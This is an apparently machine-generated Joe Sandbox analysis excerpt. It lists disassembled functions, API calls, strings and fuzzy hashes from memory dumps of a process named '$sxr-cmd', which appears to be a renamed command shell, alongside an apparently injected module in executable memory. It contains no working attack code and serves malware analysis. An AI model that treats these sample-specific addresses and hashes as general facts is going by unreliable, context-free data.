Part of subcall function 00007FF61551A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A839
Part of subcall function 00007FF61551A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A850

wcsrchr.MSVCRT ref: 00007FF615519A62

Strings

., xrefs: 00007FF6155199AA
%s=%s, xrefs: 00007FF6155199E1, 00007FF615519AA0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast$CloseEnumOpenwcsrchr
String ID: %s=%s$.
API String ID: 3242694432-4275322459
Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction ID: e3a5520c7ebe491a086345f5bc5723e561a83e0067193ee6f8e6a397654be613
Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction Fuzzy Hash: 4241A229A09F4286EE149F2590902BAEAB1AF85FB0F444135DD5E877F6EF7CEC458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155154B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6155154E6
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF61551552E

Part of subcall function 00007FF61551758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF615516999,?,?,?,?,?,00007FF615508C39), ref: 00007FF6155175AE
Part of subcall function 00007FF61551758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF615516999,?,?,?,?,?,00007FF615508C39), ref: 00007FF6155175C6

Strings

x, xrefs: 00007FF615515501
Local\SM0:%d:%d:%hs, xrefs: 00007FF6155154F7
wil, xrefs: 00007FF615515592, 00007FF6155155B8, 00007FF6155155E2, 00007FF615515674

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast$CreateCurrentMutexProcess
String ID: Local\SM0:%d:%d:%hs$wil$x
API String ID: 779401067-630742106
Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction ID: 612d18bc2a0529ced59798d51fa4c862b225ecf12447f3a98be775eeb743f672
Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction Fuzzy Hash: B8518736618E4282EB119F25E4807FAE770EB84FA8F554031DA4DCBA65DF3CD9058740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155041AD
towupper.MSVCRT ref: 00007FF6155041E1

Strings

:, xrefs: 00007FF61550ECC3
:, xrefs: 00007FF6155041F2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentDirectorytowupper
String ID: :$:
API String ID: 238703822-3780739392
Opcode ID: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
Instruction ID: 08b971ac2a0aefc0aa946216309351c1ee91483f4568afcec2ea5dd19dce2ccf
Opcode Fuzzy Hash: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
Instruction Fuzzy Hash: 1011085A608A41C5EB158B61A805279FAE0FF89FA9F458132DD0DC77B1DF3CD8418704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F58D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6154F5903
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6154F5943
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6154F5956

Strings

Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF6154F58F5
UBR, xrefs: 00007FF6154F593C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 3677997916-3870813718
Opcode ID: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
Instruction ID: 7feb4604135d8a52894b0b9c600b4116cfa4eb991e969ba635a4d6eb73d185b3
Opcode Fuzzy Hash: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
Instruction Fuzzy Hash: 3311F876619A41C7EA108B64E44466AFBA4FB8AB64F404236DA8D42768DF7CD858CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B621AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000020D0B621AD8
StrCmpNIW.SHLWAPI ref: 0000020D0B621AF2
lstrlenW.KERNEL32 ref: 0000020D0B621B01
StrCpyW.SHLWAPI ref: 0000020D0B621B16

Strings

\\?\, xrefs: 0000020D0B621AE6

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction ID: c6ee467f2019adcf30e35311e5906f71827505d4bdf7e0f330f219c2c6f00fad
Opcode Fuzzy Hash: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction Fuzzy Hash: 2CF03162309B4192F720DB91E5983596772F744FA9FC48024DA4D4EA56EE6DC688CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B623298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000020D0B6232BA
StrCpyW.SHLWAPI ref: 0000020D0B6232CA
StrCatW.SHLWAPI ref: 0000020D0B6232D6
PathCombineW.SHLWAPI ref: 0000020D0B6232E4

Strings

\\.\pipe\, xrefs: 0000020D0B6232B0

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction ID: 973d7aaf6d46ef38caf1f53042c0d18492fd17cba469c57747672edf3cf94c8b
Opcode Fuzzy Hash: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction Fuzzy Hash: 17F0826070AB8092FA04CB93B9591196272FB48FE1F849130DE4E0BB2AEF2DC4818708

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62A1D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000020D0B62A1F4
GetProcAddress.KERNEL32 ref: 0000020D0B62A20A
FreeLibrary.KERNEL32 ref: 0000020D0B62A227

Strings

mscoree.dll, xrefs: 0000020D0B62A1EB
CorExitProcess, xrefs: 0000020D0B62A203

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction ID: e165655f82cbe2bbfdfdb0879194a0212bc20e2cc92ba799f731217b56fd6234
Opcode Fuzzy Hash: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction Fuzzy Hash: 21F0DA6161BB4091FB548BE0E4883656372EB48B61F881029D51F4A666EF6AC498C714

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B625250 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000020D0B6252D6

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction ID: aaa9ecf78f6855a1ff9c4810f0f587e047158424a430deac6c71ef7417f20e84
Opcode Fuzzy Hash: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction Fuzzy Hash: 4702DC3221EB8486EB60CB95F49435AB7B1F3D4794F504125EA8E8BBA9EF7DC444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B630900 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000020D0B630942
GetConsoleMode.KERNEL32 ref: 0000020D0B630A00
GetLastError.KERNEL32 ref: 0000020D0B630A8A

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction ID: 5a742476be3838df04a20d0c2adcc28e5e263ddcb40bf654d77dae0485640db6
Opcode Fuzzy Hash: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction Fuzzy Hash: A981CF22A1AB4099FB10DBE498483AD67B3F744FA8FC44115DE0E5B797EB3B8449C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F4C18 Relevance: 7.7, APIs: 5, Instructions: 164COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F4C78

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

wcsrchr.MSVCRT ref: 00007FF6154F4CB9
wcsrchr.MSVCRT ref: 00007FF6154F4CE6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F4DD7
wcschr.MSVCRT ref: 00007FF6155128DB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memsetwcsrchr$wcschr
String ID:
API String ID: 110935159-0
Opcode ID: b345b7c45728a808ede4069a13096384997743dec9cf79993fccb4cd8bca3deb
Instruction ID: 5dbbeb76c033f40895f61526ed5eb3583873754c4843f13c5523f7726c64deb5
Opcode Fuzzy Hash: b345b7c45728a808ede4069a13096384997743dec9cf79993fccb4cd8bca3deb
Instruction Fuzzy Hash: 9551B466B09B8285FE218F1A98447F9A6A0BF48FB4F444531CE5E8B7A4DF3CE9518300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615505EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF615505F5D

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615506029

Part of subcall function 00007FF61550417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155041AD

towupper.MSVCRT ref: 00007FF615505FFE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 75a07d5bd23dcdf46afeab1086ab6ee4728832850a12a13c2f157218a155009a
Instruction ID: 66e09ee36f043934104e5b2ea6f5ea10e1ab11ef5e62028446f0d4bc188d5ba9
Opcode Fuzzy Hash: 75a07d5bd23dcdf46afeab1086ab6ee4728832850a12a13c2f157218a155009a
Instruction Fuzzy Hash: 6351B72AA05A8185EB24DF20D9506BAB7A0FF44F6CF558136DA1DC76A4EF3CE9448710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F91C0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F921C

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F93AA

Part of subcall function 00007FF6154F8B20: wcsrchr.MSVCRT ref: 00007FF6154F8BAB
Part of subcall function 00007FF6154F8B20: _wcsicmp.MSVCRT ref: 00007FF6154F8BD4
Part of subcall function 00007FF6154F8B20: _wcsicmp.MSVCRT ref: 00007FF6154F8BF2
Part of subcall function 00007FF6154F8B20: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F8C16
Part of subcall function 00007FF6154F8B20: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6154F8C2F
Part of subcall function 00007FF6154F8B20: wcschr.MSVCRT ref: 00007FF6154F8CB3

Part of subcall function 00007FF61550417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155041AD

Part of subcall function 00007FF615503060: SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF6154F92AC), ref: 00007FF6155030CA
Part of subcall function 00007FF615503060: SetErrorMode.KERNELBASE ref: 00007FF6155030DD
Part of subcall function 00007FF615503060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155030F6
Part of subcall function 00007FF615503060: SetErrorMode.KERNELBASE ref: 00007FF615503106

wcsrchr.MSVCRT ref: 00007FF6154F92D8
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F9362
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6154F9373

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Error$Mode$AttributesFileLast_wcsicmpmemsetwcsrchr$CurrentDirectoryFullNamePathwcschr
String ID:
API String ID: 3966000956-0
Opcode ID: 51d36840c515d6297a634993eddc42ebf602c1e6363eff28c9f7b85ed9b18e6d
Instruction ID: 585f960b818988d9b2eb8a725dac56179f1a3d49a279115f1a8e82410e9c020d
Opcode Fuzzy Hash: 51d36840c515d6297a634993eddc42ebf602c1e6363eff28c9f7b85ed9b18e6d
Instruction Fuzzy Hash: 71518736A09F8285EB619F29D8502B9B3A0FF49F64F144036DA4D87BA5DF3CE965C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B625890 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000020D0B6258A6

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction ID: ad4e23bcd7e08d9c55c416e097f9322c92f4db55f064fc91f288cac7c7d56d0f
Opcode Fuzzy Hash: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction Fuzzy Hash: 3761DC3251EB84C6F760DB99E44931A77B1F398764F900116EA8E4BBA6EB7DC550CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F2A30 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF6154F2A6A
memset.MSVCRT ref: 00007FF6154F2AB4
memset.MSVCRT ref: 00007FF6154F2AD8
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F2BED
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F2C0D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$_setjmp
String ID:
API String ID: 3883041866-0
Opcode ID: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
Instruction ID: d501803328dac01566c0c03de5b55141407d4da2f336b8d556a25ad2b2b56c35
Opcode Fuzzy Hash: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
Instruction Fuzzy Hash: DC515236A08BC68AEB61CF25D8503E9B7A4FB45F58F404136DA4D87A68DF3CDA45CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FB49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF6154FB4BD

Part of subcall function 00007FF6155006C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006D6
Part of subcall function 00007FF6155006C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006F0
Part of subcall function 00007FF6155006C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF61550074D
Part of subcall function 00007FF6155006C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF615500762

_wcsicmp.MSVCRT ref: 00007FF6154FB518
_wcsicmp.MSVCRT ref: 00007FF6154FB58B

Strings

IF/?, xrefs: 00007FF6154FB4B4
ELSE, xrefs: 00007FF6154FB584

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: ELSE$IF/?
API String ID: 3223794493-1134991328
Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction ID: 6717c937f5e1b3b0c8c4bd42f7cef92b6425a0e97f37be57df7312fd1e23a2e3
Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction Fuzzy Hash: A6413835E09E43C2FA649F6CA4112B9A7A1AF46F68F546036D54EC76B5EF3CEC208701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551E3E8 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF61551E43A
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551E45A
_get_osfhandle.MSVCRT ref: 00007FF61551E4D9
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551E4F1

Part of subcall function 00007FF61551D9D0: longjmp.MSVCRT(?,?,00000000,00007FF61551048E), ref: 00007FF61551DA58
Part of subcall function 00007FF61551D9D0: memset.MSVCRT ref: 00007FF61551DAD6
Part of subcall function 00007FF61551D9D0: memset.MSVCRT ref: 00007FF61551DAFC
Part of subcall function 00007FF61551D9D0: memset.MSVCRT ref: 00007FF61551DB22

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$File_get_osfhandle$PointerReadlongjmp
String ID:
API String ID: 1532185241-0
Opcode ID: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction ID: 174b6ccaff31030ecbc139f8072b55f17b836355c52b09e6150a361805b7635b
Opcode Fuzzy Hash: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction Fuzzy Hash: 66419D36A04A518BE7549F21948557DBFA1FB88FA0F459535EA0A837A1CF3CEC418700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F4FE8 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF6154F5012
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F5030
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF615512A84
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF615512AD8
